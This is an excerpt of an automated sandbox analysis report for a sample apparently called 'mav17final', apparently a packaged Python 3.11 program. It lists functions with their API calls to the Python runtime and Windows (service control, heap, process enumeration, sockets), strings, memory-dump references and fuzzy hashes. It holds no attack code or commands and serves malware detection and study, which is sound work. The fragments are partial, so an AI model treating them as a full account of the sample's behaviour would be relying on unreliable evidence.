String ID: bytes too long (%zd, maximum length %zd)$expected bytes, %s found
API String ID: 437140070-1985973764
Opcode ID: d9cd41fcd4a9d7115470baacfbcd2da228f5ee59300fb10d52ed7cf167236025
Instruction ID: 8cdfb763ead6ca94aa6217b29d432c578025b27f023b2eef63b3dea093897cb4
Opcode Fuzzy Hash: d9cd41fcd4a9d7115470baacfbcd2da228f5ee59300fb10d52ed7cf167236025
Instruction Fuzzy Hash: 99012CA1E08BC2D5EA409F5DE8902782760AF56BF6F646232CB1D533D4CE2CE889C301

Function 00007FF8B9841120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON311 ref: 00007FF8B984112D
PyUnicode_InternFromString.PYTHON311 ref: 00007FF8B984113D
PyModule_AddObjectRef.PYTHON311 ref: 00007FF8B984115F

Strings

close, xrefs: 00007FF8B9841133
error, xrefs: 00007FF8B9841152

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: Module_$FromInternObjectStateStringUnicode_
String ID: close$error
API String ID: 4029360594-371397155
Opcode ID: d1d56f56bfa3555b9ef12796d8bede51d7c66017a5d4b22be61f28461ee977ed
Instruction ID: e0867d4ee9dd6caaf1bfe116473171cbc5a2e4d8abd85aeee47c5a0dad188f2f
Opcode Fuzzy Hash: d1d56f56bfa3555b9ef12796d8bede51d7c66017a5d4b22be61f28461ee977ed
Instruction Fuzzy Hash: ECF03421B09B8793EA058F6DFA550793360BF09BD4B088237EB2D477A4DE3CE0588300

Function 00007FF8B9F6D770 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F6D474: PyType_IsSubtype.PYTHON311(?,?,?,?,00007FF8B9F672F4), ref: 00007FF8B9F6D488

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6D796
PySys_Audit.PYTHON311 ref: 00007FF8B9F6D7B5

Strings

ctypes.addressof, xrefs: 00007FF8B9F6D7AE
invalid type, xrefs: 00007FF8B9F6D78C
(O), xrefs: 00007FF8B9F6D7A7

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditErr_StringSubtypeSys_Type_
String ID: (O)$ctypes.addressof$invalid type
API String ID: 288810468-3457326693
Opcode ID: 1ed79e3af6a29a22ef0b12f793c3d6b77dfb8862b8c0b7dc43e2b4ad75ba5f26
Instruction ID: aa3bdec4b24bae6751f1ab40d19965c582be8d3b76ebeb8417222f9195224aab
Opcode Fuzzy Hash: 1ed79e3af6a29a22ef0b12f793c3d6b77dfb8862b8c0b7dc43e2b4ad75ba5f26
Instruction Fuzzy Hash: 40F08251B08E8392FF488F2AFC800742750AF48BEAF185031CB1D8A361EE2CE185C310

Function 00007FF8B9078D0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

continue_pending, xrefs: 00007FF8B9078D0C
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$continue_pending
API String ID: 1635794000-3850771874
Opcode ID: 69d60d9dbdd8ec2d5bf58629b4a48261e78ee53a16a54b6d80c68b59adc8361e
Instruction ID: 63544ed73ec0ea3adf3cb363ed69b9cf08c6824d458fe7faa089cc13bff81409
Opcode Fuzzy Hash: 69d60d9dbdd8ec2d5bf58629b4a48261e78ee53a16a54b6d80c68b59adc8361e
Instruction Fuzzy Hash: C6F0FE65A1DACA82EE549F2AA8441792B61BF69BD0B444031DB0E53764FE2CE8078700

Function 00007FF8B9078D15 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

stop_pending, xrefs: 00007FF8B9078D15
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$stop_pending
API String ID: 1635794000-1930585124
Opcode ID: aa3ce652e4b677457338b6e4e0f80e49c9735d5b2f46fce735b5f0bc3fff0f68
Instruction ID: da961c6f4ee6efbd2fb5a048b1bf792a77ef32459732e0e089b16a69641ffd87
Opcode Fuzzy Hash: aa3ce652e4b677457338b6e4e0f80e49c9735d5b2f46fce735b5f0bc3fff0f68
Instruction Fuzzy Hash: E0F0FE65A1DACA82EE549F2AA8441792B61FF69BD0B444031CB0E53764FE2CE8078700

Function 00007FF8B9078CFA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

start_pending, xrefs: 00007FF8B9078CFA
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$start_pending
API String ID: 1635794000-2023969894
Opcode ID: 6c3dba55e4dc3c92f303421457c3adfc7bc9e37ec762d46887103224b74ffac9
Instruction ID: 19942e95435c5cb747eb97254f09590c5c983a4884e70ed29ac61242fa97ab4c
Opcode Fuzzy Hash: 6c3dba55e4dc3c92f303421457c3adfc7bc9e37ec762d46887103224b74ffac9
Instruction Fuzzy Hash: DCF0FE65B1DACA82EE549F2AA8441792B61BF69BD0B444031DB0E53764FE2CE8078700

Function 00007FF8B9078D03 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

pause_pending, xrefs: 00007FF8B9078D03
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$pause_pending
API String ID: 1635794000-461645825
Opcode ID: e930fa1490d80a1d0b7ebf7151a2a24f89806df4858d55e13bc7a9c2c43a1c6e
Instruction ID: b53af794e0529c9676e5a2d396d973938191f91b08d952fea89a06476f4f5e9f
Opcode Fuzzy Hash: e930fa1490d80a1d0b7ebf7151a2a24f89806df4858d55e13bc7a9c2c43a1c6e
Instruction Fuzzy Hash: 29F0FE65A1DACA82EE549F2AA8441792B61BF69BD0B444031DB0E53764FE2CE8078700

Function 00007FF8B9078D1E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

(sk), xrefs: 00007FF8B9078D32
stopped, xrefs: 00007FF8B9078D1E

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$stopped
API String ID: 1635794000-1133211610
Opcode ID: 9952a2a7288f01b77486e9298497a4f1071da980eccecb961b403a252d8b28ef
Instruction ID: c351a27f5e8b59315e1a5da4495633e15242335fa9ff502ee4da17f1a7d8cb5d
Opcode Fuzzy Hash: 9952a2a7288f01b77486e9298497a4f1071da980eccecb961b403a252d8b28ef
Instruction Fuzzy Hash: E4F0FE65A1DACA92EE549F2AA8441792B61FFA9BD0B444031CB0E53724FE2CE8078700

Function 00007FF8B9078CE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

running, xrefs: 00007FF8B9078CE8
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$running
API String ID: 1635794000-3389828697
Opcode ID: 1c499720f40224fe23ebafe975b4e094db0f6821e757cc22a1c7d8ecb081f0c6
Instruction ID: 4db28ef4b714c19e6a805e3c158e5474841a0864ea2bccb96fd414fbcdce44bb
Opcode Fuzzy Hash: 1c499720f40224fe23ebafe975b4e094db0f6821e757cc22a1c7d8ecb081f0c6
Instruction Fuzzy Hash: DEF0FE65A1DACA82EE549F2AA8441792B61BF69BD0B444031DB0E53764FE2CE8078700

Function 00007FF8B9078CF1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22memoryserviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D4A
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D50
HeapFree.KERNEL32 ref: 00007FF8B9078D5E
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078D6C
GetProcessHeap.KERNEL32 ref: 00007FF8B9078D72
HeapFree.KERNEL32 ref: 00007FF8B9078D80

Strings

paused, xrefs: 00007FF8B9078CF1
(sk), xrefs: 00007FF8B9078D32

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$CloseFreeHandleProcessService
String ID: (sk)$paused
API String ID: 1635794000-3190322518
Opcode ID: 28ebe4222c3f474a120c97e70327d6c2be0a5db68931ab52e3c424a5b25c4f5e
Instruction ID: e48acb1eca8e1fe8f90a4162a51a10179474fa3d3f5e916f95ad8345edbfe446
Opcode Fuzzy Hash: 28ebe4222c3f474a120c97e70327d6c2be0a5db68931ab52e3c424a5b25c4f5e
Instruction Fuzzy Hash: 58F0FE65A1EACA82EE549F2AA8441792B61BF69BD0B444031CB0E53724FE2CE8078700

Function 00007FF8B9F6D264 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6D27E
PySys_Audit.PYTHON311 ref: 00007FF8B9F6D29B

Strings

O&:PyObj_FromPtr, xrefs: 00007FF8B9F6D270
ctypes.PyObj_FromPtr, xrefs: 00007FF8B9F6D294
(O), xrefs: 00007FF8B9F6D28D

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_AuditParseSys_Tuple
String ID: (O)$O&:PyObj_FromPtr$ctypes.PyObj_FromPtr
API String ID: 3491098224-1450318991
Opcode ID: 2bb121435f85e257f9b1056af5b6aad70d99910b320661e3d929a3a09f6eb257
Instruction ID: 58c485750a27af312c114e10035b7a1ef580a21c59dd8319773542b954eeeced
Opcode Fuzzy Hash: 2bb121435f85e257f9b1056af5b6aad70d99910b320661e3d929a3a09f6eb257
Instruction Fuzzy Hash: CAF0F861B09EC792EE098F59EC801A92770FF46BEAFA05032D70D47364DE6DE506D750

Function 00007FF8B90742B4 Relevance: 7.7, APIs: 5, Instructions: 168processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF8B907438C
Process32First.KERNEL32 ref: 00007FF8B90743D1
Process32Next.KERNEL32 ref: 00007FF8B9074445
CloseHandle.KERNEL32 ref: 00007FF8B9074452
CloseHandle.KERNEL32 ref: 00007FF8B90744C1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 0784bc1d57fe5a9c13eaabd08f0a58926af21919cae235002023a4e4d4517699
Instruction ID: 54ea4d9961abb25e71da16ccfd7c8348fc95fe4eae03bbdd427ece2da0b8a6c6
Opcode Fuzzy Hash: 0784bc1d57fe5a9c13eaabd08f0a58926af21919cae235002023a4e4d4517699
Instruction Fuzzy Hash: 48516F32A0DAC286EF259F39E8582793BA1AFA5BF1F084130CB4E06751DE3CD406C700

Function 00007FF8BA24A340 Relevance: 7.6, APIs: 5, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BA24A3B9
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A3DB
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24A3EA
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24A421
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24A42C

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: bce8ca39c1d4cdf7971423a01a1e8e868c385637c9e3d3eec5322708e8c4e6dd
Instruction ID: bdacc52f4998745887ff86f5c9459f45d424d61b7d883c6203c1accf0075e004
Opcode Fuzzy Hash: bce8ca39c1d4cdf7971423a01a1e8e868c385637c9e3d3eec5322708e8c4e6dd
Instruction Fuzzy Hash: 25417922A18A9794FB10CB6AD9901BC3BA4BB15FC4B5880B2EF5D13395EF3CE415E300

Function 00007FF8B9F63F0C Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311(?,?,00000001,00007FF8B9F66D32), ref: 00007FF8B9F63FA1
_Py_Dealloc.PYTHON311(?,?,00000001,00007FF8B9F66D32), ref: 00007FF8B9F68B3B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocDict_Item
String ID:
API String ID: 1953171116-0
Opcode ID: 3e79e8a0ec8c6a2242c0b13afb3047cb975f84468eaa628f38e07b0f45846962
Instruction ID: a50ce624c34d71c751dbb7bc63744ede5e5248a6a2704e75b795408a76b3831a
Opcode Fuzzy Hash: 3e79e8a0ec8c6a2242c0b13afb3047cb975f84468eaa628f38e07b0f45846962
Instruction Fuzzy Hash: 31213E61A1DBC282FA588F2DED5413976A0AF8ABF6F186134EB4E47795DF6CE440C300

Function 00007FF8B9842724 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

__WSAFDIsSet.WS2_32 ref: 00007FF8B984274A
PyList_New.PYTHON311(00007FF8A8D96CC8,?,?,00007FF8B984224F), ref: 00007FF8B984276B
__WSAFDIsSet.WS2_32 ref: 00007FF8B9842797
PyList_SetItem.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98427B1
_Py_Dealloc.PYTHON311(?,?,00007FF8B984224F), ref: 00007FF8B98427F3

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: List_$DeallocItem
String ID:
API String ID: 1559017468-0
Opcode ID: ca1c250aef14b2cb80a943dd37ef050920af6dc516bc50837cea6f6d33c8ee49
Instruction ID: 3195c1fe26d61551f77137e3bd309be90fab285b2f410d054acab2b934616a91
Opcode Fuzzy Hash: ca1c250aef14b2cb80a943dd37ef050920af6dc516bc50837cea6f6d33c8ee49
Instruction Fuzzy Hash: 8D216931B1CA9286EA108F6AA50426977A0FF48BC1F484536CB4E87754DF3DE566C340

Function 00007FF8B9F61DD8 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

_PyDict_ContainsId.PYTHON311 ref: 00007FF8B9F61E1D
PyDict_Update.PYTHON311 ref: 00007FF8B9F61E5B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F61E7E
_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F61EB7
_PyObject_SetAttrId.PYTHON311 ref: 00007FF8B9F61ECF
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F61EF0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66FA7

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dict_$DeallocObject_$AttrCallContainsErr_ErrorItemMakeOccurredUpdateWith
String ID:
API String ID: 3953964043-0
Opcode ID: 83de81b2cdb9a0b5f02c82c61faec42d8a7f4e94c71193b3e965a821689d7666
Instruction ID: cd86f323c457506bfe37afd8865a3a5b2920a827ea4ecbda6a4845251ca496ce
Opcode Fuzzy Hash: 83de81b2cdb9a0b5f02c82c61faec42d8a7f4e94c71193b3e965a821689d7666
Instruction Fuzzy Hash: 23211721A09BC291EA458F6DE9401B927A0AF45BE6F48A135DB8D477A4EF3CF485C300

Function 00007FF8B9F64C60 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F64CD9
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F64CF2
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F690A4
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F690B0

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: abd2609812ce25a27d1ac097890b043a0477b61f164c4d0ec192c4a938d68858
Instruction ID: ae48b71e80e6f66501b433c2a0480a17c6f06ed1ae40084e2411894ef2085e2a
Opcode Fuzzy Hash: abd2609812ce25a27d1ac097890b043a0477b61f164c4d0ec192c4a938d68858
Instruction Fuzzy Hash: F621EA72E09B8284FF95AF78D81437822B8EF56BBAF186034CB4E89785CF2D6545D310

Function 00007FF8B90C9FA8 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON311 ref: 00007FF8B90C9FBA
PyType_FromModuleAndSpec.PYTHON311 ref: 00007FF8B90C9FD0
PyModule_AddType.PYTHON311 ref: 00007FF8B90C9FE6
PyType_FromModuleAndSpec.PYTHON311 ref: 00007FF8B90C9FFD
PyModule_AddType.PYTHON311 ref: 00007FF8B90CA012

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
